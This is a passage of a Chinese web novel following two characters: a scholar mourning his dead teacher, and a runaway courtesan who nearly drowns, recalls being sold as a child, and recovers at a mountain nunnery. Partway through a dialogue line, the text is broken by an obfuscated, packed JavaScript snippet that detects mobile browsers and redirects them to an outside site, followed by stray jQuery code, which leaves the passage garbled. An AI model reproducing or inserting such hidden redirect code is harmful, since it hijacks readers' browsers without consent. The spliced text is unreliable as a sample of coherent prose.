唯一了解那桩巫蛊案实情的人就这么死了。 他甚至才刚刚入仕，刚刚触及权力的边缘，刚刚让朝廷重新记起李昌唯这个名字。 废太子死了，一切都白费了。 僵坐半晌，他忽然笑了，低沉喑哑。 “天意……” 他终于明白，祖父今夜铺垫已久的天意，究竟是什么了。 “回去吧，明日去和你爹认错，莫要伤了他的心。”沈世丰剪灭烛心，转身送客。 夜凉如水，沈不器独行月下，如同行尸走肉，不知怎么回了院子。 推开房门，地上俨然放着自己从绍兴带回的行李。 他慢慢坐到边上，掀开箱子，里面是李昌唯的手记，即便他细心修复过，仍旧墨迹模糊、纸张脆弱。 冰凉的指尖拂过那经年的书页，他嗅着窗外的丹桂芬芳，心中猝然悲恸。 李昌唯死时，也是秋天。 那时他不过十三，侥幸过了乡试。 十三岁的举人，何等稀奇！ 自打放了榜，无论主考的京官、还是地方教化官，都轮番盛邀、宴饮不停。 今日扬州游船、明日钱塘揽胜，凡到之处，无不称赞他骥子龙文、前途无量。 在江南金桂的熏风里陶然数日，他返程归京。 甫一踏进城门，他便直奔老师府邸，却看见门外两个官兵、门上两张封条。他这才发现沈家人的欲言又止、满目悲凉。 他们告诉他，李昌唯死了。 老师不堪受辱，一根腰带缠脖，死在了诏狱。 死前只让狱卒给沈家人留了一句口信：让他安心乡试，旁的不必多说。 出乎意料的，十三岁的他很快接受了事实。 李昌唯死前没来得及定罪，加之在文坛颇有声名，沈家又四处疏通，朝廷终究留了几分薄面，尸身停在诏狱，并未直接扔到乱葬岗。 沈不器平静地收敛了老师的尸身，时局所限，只治了一场简朴的丧事。摔盆打幡的，也只有他一人。 虽说罪名未定，可朝廷还是查抄了李昌唯的住处。 他死时已年近七旬，穷翰林一个。朝廷将他租赁的两进院子翻了个底儿朝天，也只找到书卷数箱、现银不到百两。 至于沈家十年来的束脩、节礼，都被他换作香油钱，在佛寺里为沈不器供了一盏长明灯，为他祈福。 得知消息，沈不器连夜赶到京郊的妙法寺。 高台上放了三盏灯，他的名字，紧紧靠着李昌唯早已离世的妻女。 他跪在那三盏灯前，恸哭一夜，如梦初醒。 此后五年种种，在今日太子薨逝的消息面前，都变得无足轻重了。 沈不器强忍情绪，手指不受控制地来回翻检着箱内书画，终于在摸到那件短衫时，泪水溃堤。 秋风割人眼，他痛得发抖，将脸埋进短衫中，嚎啕大哭。 天地无终极，人命若朝霜。 7.母女 好冷。 浪头不断扑向口鼻，身体已然僵冷，唯有双臂死死抱住浮木，在寒江中沉浮。 终究是她托大了。 宋云谣心中苦笑。 先前将沈三推上岸边礁石后，她故作被江水冲走，本以为离了他的视线，总有机会脱身。 可此处是桐江支流汇集之处，河道复杂、高差悬殊，山洪加之连月梅雨，江水湍急之势远超她所想。 宋云谣尝试往岸边游去，却一次次被逆流冲回江心。 急流中浮木、暗石不断，时不时冲撞过来，起初她尚且能狼狈躲避，到如今，连抬手的力气都没有了。 体力在急速流失，又一个浪头打来，她被扑倒江水之下，挣扎许久，双腿用力一蹬，才终于破开水面。 天色越发昏沉，两岸青山如同漆黑的凶兽，在狂风中毛发悚立、呜咽不断。 她艰难睁眼，眼前只能看见那凶兽巨大的投影，以及漫无边际的江面。 水天一色的灰绿，压得人喘不过气。 宋云谣从未如此惧怕过水。 她是江上长大的孩子，从母亲腹中诞生的刹那起，就注定与水亲近。 可她从未想过，有朝一日，水也会成为她的葬身地。 当真要死在这吗？ 宋云谣大口喘气，缓慢而粗重。 她想，她不后悔杀死陈茂良，不后悔杀死王攀，也不后悔救下沈三。 那双草鞋的恩义、山洪时共患难的恩情，她也用一条命偿还了。 若今日当真死在这，这辈子，她不欠谁，也没有什么可后悔的。 思及此，身体陡然轻松下来。眼皮重如千钧，视线也逐渐模糊。 破风箱一般的呼吸声中，她好像在江中看见了谁人的倒影。 发枯的辫子垂在胸前，粗麻布衣起了毛边，松松垮垮披在肩上。 那人笑着，眼睛眯成一条缝，快三十的年纪，还有股醉酒般的傻气。 是宋鱼儿。 她呆住了，喃喃道。 宋鱼儿，你来接我了吗？ 水中那人但笑不语，只半蹲下身子，朝她伸开双臂。 宋云谣鬼使神差松开了怀里的浮木。 透明而涌动的波纹中，她蜷缩身体，不断下坠，落入宋鱼儿的怀抱。 那一刻，寒冷的江水也变得和煦，江面不再是沉沉的灰绿，湛蓝映着金光，不知朝阳还是夕照，一切都柔和而静谧。 她被这温柔的水包裹着，生命仿佛回到了混沌起始的那一刻，在母亲的羊水中，悠悠然打着转。 不知过去多久，她如一尾游鱼跳出那怀抱，双腿摆动，跃出水面。 五岁的她高高举起一条滑溜溜的草鱼，朝船房上喊道：“宋鱼儿！看我捉的这条鱼，可大了！” 她娘宋鱼儿赤脚坐在船板上，手里缝着旧衣，朝她笑：“快上来！” 她湿漉漉爬上船，宋鱼儿抱着她进了破旧的船篷，扒了衣裳，换上刚缝好的旧衣——袖窿小了，宋鱼儿剪了口子，用细细搓洗过的苎麻补上，抬手便不紧了。 “宋鱼儿，我一会儿就去找哑娘，把鱼卖了，你在家好好的，昂。” 她个子小，话却老成。 可宋鱼儿认真听了，认真点头，认真回答：“好，我听你的。” 宋鱼儿蹲在面前，她满意地摸摸宋鱼儿的头发——哑娘就是这样对自家闺女的，摸完头，小小的丫头就不哭不闹了。 两条草鱼栓好绳、挂上脖子，她下了船。 青田县的江岸上人头攒动，早归的渔夫拖着一箱箱鱼往外走，间或有几条鱼落了地，她眼疾手快抓进怀里，埋头往外跑。没跑出几步，便被拎着衣领抓起来。 渔夫满身腥气，打量她两眼，将她扔下，笑得意味深长：“原来是宋娘子家的女娃。” 说完，周遭男人一阵哄笑，彼此挤着眼睛，嘴里嗡嗡说着什么。 怀里偷藏的鱼掉了一地，男人们却并不在意。他们大声谈论着宋鱼儿，说着她听不懂的词、用着她听不懂的语气。 她瑟瑟缩在地上，不知为何，心底惶惶不安。 哑娘钻进人群，拉着她往外走，可她满心惶恐，猛地挣开哑娘的手，拔腿便往家跑。 她每日早起卖鱼，宋鱼儿便待在家里。 等她揣着换来的粟米或谷糠回来，宋鱼儿总是呆呆坐在小炉边，盯着锅底冒泡的水，一言不发，直到她摸摸头，才会笑起来。 但是今日，岸边不见宋鱼儿沉默呆坐的身影。 耳畔没有风，可江水微微荡着，小船也微微荡着。草帘间或荡开，船篷里，一个男人趴在宋鱼儿身上，而宋鱼儿被他的手脚困住，呆呆望着半空。 像渔网里半死的鱼，黑眼珠空洞无神，翻着肚皮，不再挣扎。 她定定站在岸边，头晕目眩，脚底生寒。 哑娘不知何时追了过来，捂住她的嘴，捞起她便跑。 她被哑娘抗在肩上，还挂在脖间的草鱼一下下抽打着她的脸，抽得她嘴角木然。 直到她整张脸都被抽得冰凉，哑娘终于将她放下，取下她脖子上的草鱼，又摸了摸她的头发，叹了口气。 草鱼交给哑娘的男人，浑身鱼腥的汉子蹲在河边，肥手握住滑腻的鱼身，一下下刮走鳞片，露出白里透红的肉。 尖刀一转，剖开鱼肚，指甲缝沾满黑泥的手指伸进鱼肚，掏出内脏，挤掉腮腺，红的黄的黑的，一把甩到她面前里。 她“哇”的一声，吐了。 男人嫌恶地躲开，哑娘不知所措冲上前，而她伏在那摊污秽里呕吐不停，吐得涕泪满面。 她推开哑娘，浑浑噩噩回了家。 宋鱼儿如往日那般坐在炉边，呆呆望着锅底，直到看见她走到跟前，才抬起头。 她们无言对视许久，宋鱼儿嘴唇颤抖，干瘦的手擦去她嘴角的泪与秽物，跪地搂住她。 宋鱼儿在她怀里放声痛哭，她只抬手摸摸她的头发，小声说：没关系，宋鱼儿，有我呢。 那天夜里，借着明亮的月光，宋鱼儿抱着她，小心翼翼翻开那本快散架的词集，指着上头两个字，双眼发亮。 她说，娘不识字，可找了位读书人问过，这两个字，又好听又漂亮。以后，就是我们小囡的大名。 宋鱼儿轻轻抚摸书页，珍重无比。潋滟波光将她映得光彩动人，那是她捧着词集时，才会露出的模样。 她呆呆望着宋鱼儿，不觉看痴了，跟着她小声念：云谣、宋云谣。 来年春天，宋鱼儿生了场大病。 闭眼那夜，哑娘来了。宋鱼儿躺在茅草里，面色青灰，瘦得骇人，抖着手，从活动的船板下摸出一个香囊、一个布包。 她将布包塞给哑娘。 她说，这二两银子，我攒了一辈子，都给你。我不求你收养她，只求你将她卖到一户清白人家，无论婢子还是粗使，只要有口饭吃、有个屋住就够了。 记住，清白人家，定要是清白人家！ 哑娘坐在边上，使劲点头，泣不成声。 然后，她将那只香囊挂到宋云谣脖间。 宋云谣低头看，泪眼中，香囊上绣了个模样拙劣到古怪的鱼儿。 她盯着那鱼，忽然笑出鼻涕泡。 “好丑啊，鱼儿。” 宋鱼儿看着她，惨白的嘴巴一咧，也嘿嘿笑了起来。 二人对笑半晌，宋鱼儿身子一抽，呼吸猛地卡住，嘴角还挂着笑，皮肉却僵硬了。 撑着最后一口气，宋鱼儿死死抓住宋云谣的手，用力得眼珠突出。 “……答应，答应娘……要好、好好，活……活！” 嗓子眼里挤出最后一个字，宋鱼儿断了气。 几日后，哑娘帮她寻了个山头，埋葬了宋鱼儿。 她在坟头坐了一下午，没有哭，只是心里不停想，宋鱼儿究竟是谁？ 她有家吗？她怎么生下了自己？她的娘在哪儿？ 山风呜咽而过，没有带来答案。 翌日清晨，哑娘的男人带她进了城。 青田县的牙行小院里人满为患，男男女女都蹲在地上，衣衫褴褛、面黄肌瘦。牙人行走其间，看两眼，分个甲乙丙等，交钱画押，便定了他们的去处。 轮到她了，男人有意将她说小了两岁。 簪花的牙婆浓妆艳抹，尖尖的长甲掐住她的下巴，又掀起她的衣袖、裤腿仔细打量，活像肉市的老板挑活猪崽子。 半晌，牙婆直起腰，朝男人比个了数。 男人喜不自胜，同她攀谈起来，宋云谣懵懵懂懂，只听懂了“念书学字”三个字。 她忽然想起宋鱼儿捧着书的模样。 宋云谣扯了扯男人的衣角，小声说，我愿意去，我想念书，让我去吧。 八两银子换一纸契书，她将自己卖给了牙婆。 第二日，牙婆将一伙丫头赶上船，要送她们去杭州。船动了，她望着逐渐远去的青田县，心跳砰砰。 远处江岸上忽地冲上来一道人影，竟是哑娘。她跪在岸边无声哭叫，拼命向她比划手势，让她回来。 宋云谣冲到船边，朝哑娘挥手：别哭啦！我去过好日子啦！ 背后传来牙婆的笑声，宋云谣也笑起来。 她想，有饭吃、有衣穿、有书读，怎么不是好日子呢？ 笑着笑着，江上渐渐升起浓雾，身旁寂静下来。瑟瑟江风吹过，她打了个寒颤。 【宋云谣。】 她听见有谁在喊自己，转身，船上的船夫、牙婆、丫头们都已消失不见，只剩她一人。 【宋云谣，你真蠢。】 那声音冰冷讥诮，还有几分熟悉。她心中惶惶，四处张望，却看见另一个自己满目憎怨，自迷雾中踏浪而来，狠狠将她推到江中！ 落水的一刹那，无数碎片涌入大脑，宋云谣猛然从回忆抽身。 她终于记起，此行之地，等待她的并非有饭吃、有衣穿、有书读的好日子，而她也早已不是青田县暗娼的女儿。 她是翠莺阁里学艺的丫头，是江南商贾八千两买回家的瘦马，是背了两条人命的逃犯。 冰凉彻骨的江水将她包裹，她怔怔望着桐江的粼粼水波，现实与虚幻交织浮现，时间的尺度都变得缥缈。 恍惚间，她竟想不起自己为何在此，又为何落得个人不像人、鬼不像鬼。 她明明应当在青田县，从狭窄破旧、乌蓬漏雨的舴艋舟上醒来，清晨跳进瓯江微凉的江水中，寻摸两条比手臂还长的大鱼，去集市换一本旧书、半袋谷糠，哄宋鱼儿高兴。 又或是在杭州城，剪子巷深处的翠莺阁里，从生涩嘲哳的丝弦课上分神片刻，不去听妈妈打一巴掌给一甜枣的鬼话，嗅着西湖外飘来的脂粉香风，盘算何时叫上素梅儿，一同去院里摘石榴。 可那些日子，那些苦药汁里寻糖吃一般的日子，早已离她远去了。 濒死之际，她又看见素梅儿的脸。 素梅儿神情冷淡，一如从前在翠莺阁里的模样。 【窈儿，苦吗？】她问。 苦。 她无声回答。 【当真苦吗？】 她不想再回应，可闭上眼，素梅儿声音又出现在脑中。 【没有灶台高就挡在宋鱼儿跟前，被人抓着头发，指着鼻子骂娼妇养的时候，不苦吗？】 宋云谣置若罔闻，任由身体不断下坠。 【被鸨母抓回行院，扒了衣服捆在树上鞭笞的时候，不苦吗？】 【关在柴房饿到神智不清跪在地上乞食的时候，不苦吗？】 【脱了衣裙学那些淫词浪语的时候，不苦吗？】 温热的泪从她眼角渗出，转瞬消失在江水中。 可素梅儿的声音仍在脑中步步紧逼，愈发尖利。 【八千两，像货一样卖给陈茂良的时候，不苦吗？】 【为一桩银矿生意，又像货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629990|154264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样转手再卖王攀的时候，不苦吗？】 宋云谣浑身颤抖，情绪几近崩溃，终于在脑海中放声哭喊。 “苦！苦！没有一日不苦！你满意了吗！” 素梅儿蓦地收声，在她歇斯底里的哭声中，轻轻开口。 【那些日子都扛过来了，今日不过皮肉之苦，又怎么过不去呢？】 【宋云谣，迈过去，你就自由了。】 素梅儿的声音消失了。 宋云谣慢慢睁开眼，眼前仍是那水波，耳畔仍是如死般的寂默。可她有如大梦初醒，一股念头注入心间，手脚遽然挣扎起来，拼命向上游去。 她还不甘心，她还不想死。 她答应过宋鱼儿，要好好活！ 她的姿势僵硬滑稽，窒息感铺天盖地而来，已接近极限。可她不知从哪来的力气，双脚奋力蹬动，离那光亮处越来越近、越来越近—— “哗啦——” 呼吸骤然通畅，宋云谣破开水面，大口喘气。她在江流中艰难维持平衡，可浑身虚软，眼前一阵阵发黑，几欲栽倒。 危急之间，一根竹篙忽然伸到她面前。她扑腾几次终于抓住，被竹篙一路拖到江心的扁舟上。 这艘破船上站着个赤脚的中年女人，她力气大得出奇，三两下便将宋云谣搬了上来。 她浑身脱力，仰躺在船上上，透过那破败的乌蓬，恍惚发现天黑了。 救她上来的妇人在她耳边说着什么，轻轻拍了拍她的脸，可宋云谣紧绷的神经骤然松开，浑身轻得仿佛江上流云，不禁缓缓闭上了眼。 意识消失前，她只记得一轮皎月挂在中天，云翳明暗流动，竟是个久违的晴夜。 再睁开眼，已是天明。 江上轻烟薄雾、烟波浩渺。远处青山夹岸，白鸟跃过翠色，声声啁啾。 而她卧在小楫轻舟之上，听汩汩水声从耳畔流过。船板破旧，江水渗进船篷，漾过她的发梢、脚背，凉凉的，带着初秋的寒。 她没死，她活下来了。 意识到这一点，她的眼泪几乎夺眶。 “你醒了。” 中年妇人站在舟头，撑着竹篙。她肤色黝黑，沟壑纵横的脸上满是汗珠，上衣半脱不脱挂在腰间，随意露着汗衫，随她熟练撑船的动作，隐隐能看见她结实的臂膀。 宋云谣揉揉眼睛，爬起身坐好，郑重道谢。 话没说几句，那妇人摆摆手，“你的衣裳，我替你换了。” 她低头看，这才发现自己穿了身棉麻旧衣，洗得发白，袖口、衣领都缝过补子。 “你身上很多伤。”中年女人冷不丁道，“是逃出来的吧，丫头。” 宋云谣愣住，身子不自觉向后退，心下生起警惕。 “我都不怕，你怕甚？”那妇人却浑不在意，从腰间取了块油纸包的干饼子，丢给她，又问，“你要去哪儿？我送你一程。” 她接过饼子，沉默摇摇头。 “不用，还是不知道？”女人忽然笑了，“不如你我做个伴，如何？这船漂到哪儿，我们便去哪儿。” 宋云谣不知如何回应，那女人也不恼，转身继续撑篙。 船行青山绿水间，女人口中吹着哨子，唱着渔歌，顺江流而下。 她坐在船中，靠着破洞的乌篷，身上一阵阵发寒，脑袋昏昏沉沉。困意漫到周身，她不知不觉又闭上眼。 就这么一会儿睡、一会儿醒，她的意识渐渐模糊了。不知第几次再醒来，她才发现自己已不在船上。 天色昏黄，绵绵细雨落在眼前，那妇人背着她，一步步走在山路上。 她浑身虚软，喘息沉重滚烫，趴在妇人宽厚的背上，迷迷糊糊开口，“鱼……宋鱼儿……娘……” 她声音微弱，妇人只听清最后一个字，不由得神情微变。转头看去，肩上，少女紧紧闭着眼，已然没了意识。 林间雨声渐大，女人不敢再耽搁，双臂箍紧，大步往山上去。 顺着青石砖一路拾级而上，她终于看见远处一间红墙黛瓦的古刹，上书“静雪庵”三字。 女人面露喜色，快步走到门前，腾出手扣动门环，朝里喊道：“救命！有没有人，救命！开门啊！” 门很快打开，两个身着灰青淄衣的比丘尼看清眼前情状，赶忙让开道。一人带他们进了寮房，另一人急忙去请示主持。 不多时，主持法真匆匆赶来，为高烧昏睡的宋云谣把脉开方，又吩咐小尼去起灶烧水。 待一切安排妥当，法真终于得空问起二人的身份。 那女人犹豫片刻，跪倒在地。 “求大师收下我们母女二人吧！” 两日后，宋云谣终于从病中醒来。 睁开眼，便是这间朴素的屋子，墙上供着佛像，门外隐隐传来撞钟声。她慢慢反应过来，这恐怕是寺庙里的寮房。 门外，一个瘦高的尼姑端着药走进来，见她醒了，道：“女施主终于醒了。” “这里是……”宋云谣脑中一片浆糊，刚开口，忽然想到那个言语怪异的中年女人，忙问道，“敢问这位师傅，可见过一个妇人，不高不矮，三四十岁的模样？” 那尼姑神情露出几分古怪，将药搁到案几上，道：“你说你娘？张施主随净念上山拾柴去了，”她看了看外头天色，“估摸着，天黑前就能回来，别担心。” 宋云谣愣在原地，不知如何回话。 娘？ 那女人？ 见她神情不安，尼姑安慰道：“别担心，张施主身子矫健，就我们庵堂后山那条路，近得很，不会出事的。” 她摸了摸碗壁，帮她扶起身坐好，“施主大病未愈，还是多惦念自己些为好。” 宋云谣被她说得晕头转向，可想起那日在船上，那中年女人的言语，心里大致有了谱。 她从善如流喝了药，旁敲侧击道：“是我那日病糊涂了，不知这里是何地？既然醒了，合该向住持道谢一二才是。” 8.伤疤 承安四十六年，定阳县。 时值初春，灵山上烟柳飞絮、草木葱茏。天还未亮，静雪庵西北角的小院里，寮房木门被轻轻推开。 甫一推开房门，清晨微凉的风扑到脸上、钻进袖笼，哈欠还没打完，宋云谣就忍不住打了个寒颤。 拿着洗漱物件，走到院中的石井边，利索打上一桶水，倒进木盆里。井水冰凉，棉布浸了水，拧紧，再贴在脸上，最后一丝困意都消散了。 耳畔一片宁静，寺中的钟声还未响，晨风过处，唯有山中林木婆娑摇曳的沙沙声。 宋云谣蹲在水井旁，棉布盖在脸上，长长喟叹一声。 微微低头，棉布滑落水中。盆中的倒影散了又聚，她望着水中那个荆钗布裙、不施粉黛的自己，竟有几分恍如隔世。 自她被救起，在静雪庵落脚，一眨眼，已有数月。 彼时她因落水昏迷不醒，再醒来时，窗外红叶飘摆、圆月高悬，已是中秋。 给她送药的小沙弥尼撞见她睁眼，匆匆搁下药碗便小跑离开。 不多时，一个中年妇人便大步流星冲进屋里，扑到床前，握着她的手，哭天喊地唤她女儿。 宋云谣自然吓了一跳，想要抽手，那妇人却攥得更紧，悄悄朝她使眼色。 不等她问清，一位身着海青、头发花白的比丘尼走了进来。 她瞧着约莫五十岁出头，面容沧桑，可目光矍铄、步伐沉稳，气度不俗。再看旁边小沙弥尼的敬重姿态，她便暗自猜测，此人恐怕是位德高望重的法师。 果不其然，这法师自言是庵堂的住持，名叫法真，然后便向她问起身体感觉如何。 可不等宋云谣开口，那妇人便先一步抢话，只道女儿昏迷数日，身子亏虚、话都说不清楚，让她这个当娘的心疼得紧，想要寺里给她做些肉吃。 “……我要求也不高，半只鸡就行了！”那妇人大言不惭道。 宋云谣听得满心错愕，不光因为那妇人伪撰的母女身份，还因为她拉扯着法师衣袖、硬是要佛寺为自己破戒开荤的鬼话。 瞧着妇人厚着脸皮、死缠烂打的模样，又对上法真住持一言不发投来的目光，刹那间，她只觉一股热气从脚底窜到头顶，宋云谣的脸“噌”一下红了。 窘迫至极，宋云谣满心尴尬，一时间竟顾不及假母女的谎话，只想拉住妇人，让她别再提什么开不开荤的事。 可她张了张口，竟发不出声，越急嗓子越干疼，反倒被自己呛到，剧烈咳嗽起来，咳得上气不接下气，眼前一阵阵发黑。 那妇人赶忙给她喂水，小沙弥尼也前来帮忙。待她终于顺过气来，头晕眼花卧在枕上时，两个尼姑皆已离去，屋内只剩她与妇人。 四下无人，妇人一改方才蛮不讲理的泼辣模样，锁好门窗、确认无人，懒懒走回床边靠着，握着剪子，漫不经心剪指尖。 “多谢你救了我。”她缓了许久，终于开口问，“可你究竟是谁？” 那妇人头也不抬，“他们都叫我兰姨、兰大娘。” 宋云谣蹙眉，“我不是这个意思。” 兰姨剪完指甲，抬起头，盯着她哼笑一声。 “看着机灵，倒是个榆木脑袋。” 她抖了抖腿上的指甲屑，沉沉的铁剪在粗实的指间打转，做派很是粗野。 之前不曾注意，如今二人对视，她才发现兰姨右眼角有道狰狞凹陷的疤痕，一直连通毛发杂乱的眉尾 。 这道疤，加上她刚硬的轮廓、阴沉的目光，还有此时手里把弄铁剪子的姿态，凶戾之气扑面而来。 宋云谣抿抿唇，一时沉默下来。 事到如今，她又哪里不明白，这位“兰姨”恐怕也有些见不得人的往事，只能远走他乡、四处逃窜。 如今二人偶然遇见了，搭伙捏造一个假身份，互相遮掩，才是上计。 ——毕竟，落难的孤儿寡母，总比两个身份来历不明的女子，更容易叫人取信。 思忖片刻，她终于下定决心，低声道，“我明白了。你是如何和她们说的？” 见她上道，兰姨满意点头，同她细细说起这几日的情形。 那日在船上，兰姨本以为她只是太过乏累才又昏睡过去，便只给她披了件蓑衣，并未多在意。 可直到天黑，她仍不见醒，兰姨这才发现她浑身冷汗、脸色惨白，已然昏迷过去了。 此时恰好到了沿江一处渡口，她打听一二，得知她们已进入衢州府定阳县地界。只是周遭人烟稀少，更见不到什么医馆药房的影子。 此处离县城虽远，好在几里外的灵山上，有一座名叫“静雪庵”的姑子庙。 静雪庵的庵主名叫法真，此人略通医理，只要女香客捐些香火钱，便能在庙里得到诊治。 得知此地，兰姨当即决定背她上山。 到了静雪庵，法真看出她们并非本地村民，为宋云谣诊脉开方后，直接问起她们的来历。 兰姨是撒谎的好手，直接谎称家里男人死了，她们母女二人被夫家欺辱，无奈下远走投奔娘家。 可千里迢迢回了故地，却得知娘家几口人都死在几年前的饥荒里，什么也没留下。 她们无奈当了流民，路上又遇到匪盗。眼下虽死里逃生，却实在走投无路了。 兰姨越编越惨，只求能唤起眼前这位出家人的慈悲心。 法真并未叫她失望，虽嘴上不说什么宽慰劝解之言，却允许她们先在此治好病，旁的往后再议。 宋云谣听后，一面咋舌她谎话信手拈来的本身，一面不解。 “住持如此厚待，你为何偏要让庙里为我开荤？你就不怕得罪了住持？” 听罢，兰姨双手一抱，白眼一翻，“切”了一声，又露出那副蛮不讲理、市侩霸道的模样。 “出家人不都是菩萨心肠，给病人吃口肉怎么了？我又没让她们吃，这么忌讳做什么！你难道就不想吃？” 宋云谣错愕道：“我什么时候说我想吃肉了？” 兰姨一手叉腰，一手指着她的鼻子开始嚷嚷。 “你以为就你是病人？我也病了，我想吃，不行啊？我千辛万苦救你一命，你就这么没良心，连口肉都不让我吃？” 宋云谣被她这副理直气壮的泼辣模样气笑了，可昏迷数日、身子虚弱，实在没有争辩的心力。 思及她毕竟救自己一命，宋云谣只能吞下厌烦，默了默，继续说回正事。 “那之后，便按你说的办吧。只是你我二人还需将身份来历补全一些，免得被人寻到漏洞，旁的生出些猜忌。” 兰姨斜撇她，不耐烦道，“还用你教我？黄毛丫头一个，连名字都不说，我怎么和你演！得亏没穿帮！” 宋云谣被哽了一句，下意识想编个假名，可话到嘴边，不知怎的，竟说不出口。 她忽然想起，当初卖给牙婆的契书上，她只盖了个指印，到了杭州没多久，苏妈妈便给了她“窈儿”这个名字。 如今这世上，恐怕只有青田县的哑娘，还记得宋云谣这个名字了。 有个念头在心中摇曳，她紧咬下唇，踌躇片刻，还是忍住了，只道：“我姓宋。” 见她也有所保留，兰姨一耸肩，无所谓道：“行，随便你吧。以后我们母女俩，便是被不知哪个杀千刀的宋家赶出来的，我记住了。” 宋云谣心中愠怒，却不好得发作，干脆转身假寐，不再理会她。 就这样，她们暂且在定阳县的静雪庵落了脚。 静雪庵除了一名住持，还有将近十五个尼姑，大大小小年纪都有。 虽说规模不大，住持日常还需兼任监院、库头等事务，可比起三两人的小庙，庵堂里也算是井井有条。 听常给住持跑腿送药的小沙弥尼说，前几年来找住持看病的女香客可多了，方圆百里的村镇都有妇人前来。只是不知为何，这几年来的香客少了，庵堂也冷清许多。 宋云谣亦是不解。 法真住持并不是那等打着医术幌子、坑蒙拐骗之人，给她诊了几次脉，连自己在翠莺阁时就落下的顽疾都能说得一清二楚。 用的药材也上乘，方子准、见效快，不像她儿时给宋鱼儿煎的那些药，尽是些便宜药材不说，有些连霉点子都擦不掉。 她思来想去，只能猜测，许是正因为法真医术不俗、用药不敷衍，所以香火钱也贵些，长久以往，许多寻常人家的妇人便承受不起，不敢再来了。 每每思及此，她都不禁惴惴： 自己生了这场大病，又要付多少香火钱呢？ 愁归愁，可自己日日卧榻养病，也无计可施。 与她相反，兰姨倒是很快融入一众尼姑中。 她虽不必跟着晨课诵经，可别的庶务，后山种田、烧柴做饭等，都算是一把好手。 每日撞钟声响，兰姨便换好衣服起身，同姑子们外出，直至夜里才回来。兰姨洗漱后躺在床上，与她说不到五句话，便叫不醒了。 待到月悬中天，宋云谣迷迷糊糊要睡着时，又被兰姨熟睡的呼噜声吵醒。 她本就觉浅，总会被那呼噜声折磨得一夜未眠，白日昏昏欲睡，到了夜里又被吵醒、辗转反侧。 可再循环往复一段时间，她竟也习惯了。 有天晚上，许是白日太过劳累，兰姨头刚沾枕头，呼噜声便打得震天响。 她心中无奈，好奇今夜又要无眠多久，却不知不觉一觉睡到天明。 醒过来时，她愣了许久，想笑，心底又有些说不出的滋味。 时间总能改变许多东西。 去岁腊月时，她自觉已经康健许多，担心香火钱越积越多，便找到法真，同她说自己已经痊愈，不必再喝药了。 可法真却并不言语，只用她那双冷淡到古井无波的眼睛盯了她许久，直到宋云谣自己硬着头皮收回这话，方才罢休。 自那天起，宋云谣也歇了说服法真停药的心思。身子骨好转，不必拘在院子里养病，她的日子逐渐变得松散起来。 白天，她便随兰姨与姑子们洗衣烧饭、拾柴洒扫。可她们顾忌她的身子、总不让她干重活。 霜露天河边洗衣时，便让她回去等着晾衣服；雪天时进山拾柴时，便让她回去热灶；到晴天洒扫佛殿、擦洗佛像时，便让她去院子里晒书。 只是她们担心的种种，宋云谣却不甚在意。 再苦再累，能有行院学艺、奔波逃亡累吗？ 这样辛劳一天，就算吃糠咽菜也香些。 下午闲来，她也会随姑子们去佛堂，听法真讲禅。有时天清气朗、讲的又不艰深，她便听得意趣盎然、颇有所得。 有时被午后的太阳晒得困倦，她便缩在蒲团上，借姑子们的背影遮挡，将头埋进经书里，偷偷小憩片刻。 往往此时，“山大王”便不知从何处溜达过来，慢慢钻进她盘起的□□，呼噜呼噜睡得香。 “山大王”是静雪庵里的一只野猫，黄身白肚、金被银床，额上几道杠，平日神出鬼没，故而得了“山大王”的美号。 山大王机灵得很，不必别人喂食，便能将自己养得又肥又壮实，只是性格着实欠揍了些。 下雪天，她准备烧火做饭时，常常会在留有余温的灶膛里，发现山大王蜷缩其中、安然取暖的身影。 将那肥猫一把捉出来，它也不动不叫，只掀起眼皮瞧她一眼，懒懒舔湿爪子，擦在自己黑灰的脸上，看得宋云谣又好气又好笑。 直到夜里，回到寮房，看见桌上温热的滋补汤药、外伤的敷药，她才会陡然想起，这样的日子，也不过是她用香火钱换来的罢了。 山中日月长。 就这样，日夜听着静雪庵的诵经声、撞钟声、呼噜声，看盆中金蕊开了又败、灵山梅林红了又白，再揉揉山大王软绵绵的肚子，一年翻过头，承安四十六年，来临了。 昨夜，小沙弥尼没有再送来滋补汤与外敷的膏药，她心里便明白，这是算香火钱的时候了。 她并没有将此事告诉兰姨，辗转反侧一夜，天未亮，自己便悄悄起了身，准备独自一人去找法真。 而此刻，她盯着水盆看了许久，右手伸进水中，轻轻拨散了那倒影。 隔着一层水波，如若忽视手背上那半片红褐相间的狰狞疤痕，这只手仍可以称作冰肌玉骨、红润细嫩。 可只有她知道，半年来的庶务与农活，早让这双手不复从前的纤弱柔滑、白净细腻了。 这双曾称得上柔夷的手，从前被鸨母小心养护、被恩客揉捏欣赏，如今用来扛锄头、洗衣裳、砍柴火。 她从水中抬起手，借着微凉的天色，细细看着手背干燥的纹路、虎口细小的划伤、生了冻疮的骨节。 若苏妈妈还在这，看见这双她曾经无比得意的手，如今变得如此丑陋，只怕要用竹篾子狠狠抽她一顿，再痛心疾首地将她的卖价连降几等。 想到这，她忍不住哂笑一声，又立马反应过来，脸色微变。 ——真是没睡醒，明明日子这般安逸，怎的老是想起从前那些狗屁倒灶的事了！ 她不再胡思乱想，收拾好利索起身，回屋放好东西。临走时，看了眼床铺上仍在熟睡的兰姨，轻轻带上门。 出了小院，一路往庵堂深处走，便是法真住持的禅室。天色蒙蒙亮，透过窗纸，禅室里一片橙黄烛光。 听净念比丘尼说，法真住持每日五更天不到便醒了，在屋中翻阅医书到寅正四刻，打坐两刻钟，在寺中绕行两圈，才去处理寺中庶务。 宋云谣便是寻了这个空档，找她说事。 果不其然，没一会儿，屋内烛火熄了，禅室打开，法真走了出来。 这个时辰，看见宋云谣衣衫齐整等在外头，她并不惊讶，二人合掌行礼，并肩走在庵堂的石板路上。 走了一圈，又绕过佛塔，法真仍气定神闲，宋云谣率先开口，打破沉默。 “法真大师，我是来结香火钱的。” 